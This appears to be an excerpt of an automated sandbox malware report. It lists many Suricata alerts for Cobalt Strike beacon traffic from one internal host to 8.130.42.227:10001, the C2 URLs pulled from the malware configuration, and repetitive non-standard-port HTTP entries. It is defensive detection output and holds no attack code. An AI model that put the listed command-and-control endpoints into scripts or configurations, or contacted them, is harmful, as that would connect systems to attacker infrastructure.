Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49862 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49766 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49822 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49809 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49890 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49852 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49914 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49808 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49936 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49928 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49919 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49907 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49913 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49886 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49935 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49923 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49892 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49792 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49824 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49858 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49829 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49802 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49927 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49869 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49897 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49931 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49837 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49924 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49826 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49898 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49930 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49899 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49908 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49850 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49938 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49889 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49926 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49929 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49880 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49846 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49939 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49896 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49830 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49812 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49934 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49853 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49915 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49861 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49906 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49872 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49910 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49893 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49754 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49916 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49920 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49932 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49925 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49761 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49791 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49806 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49815 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49813 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49776 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49825 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49831 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49901 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49911 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49778 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49849 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49864 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49811 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49842 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49854 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49918 -> 8.130.42.227:10001
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49937 -> 8.130.42.227:10001

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://8.130.42.227:10001/2yMe
Source: Malware configuration extractor	URLs: http://8.130.42.227/2yMe

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49867
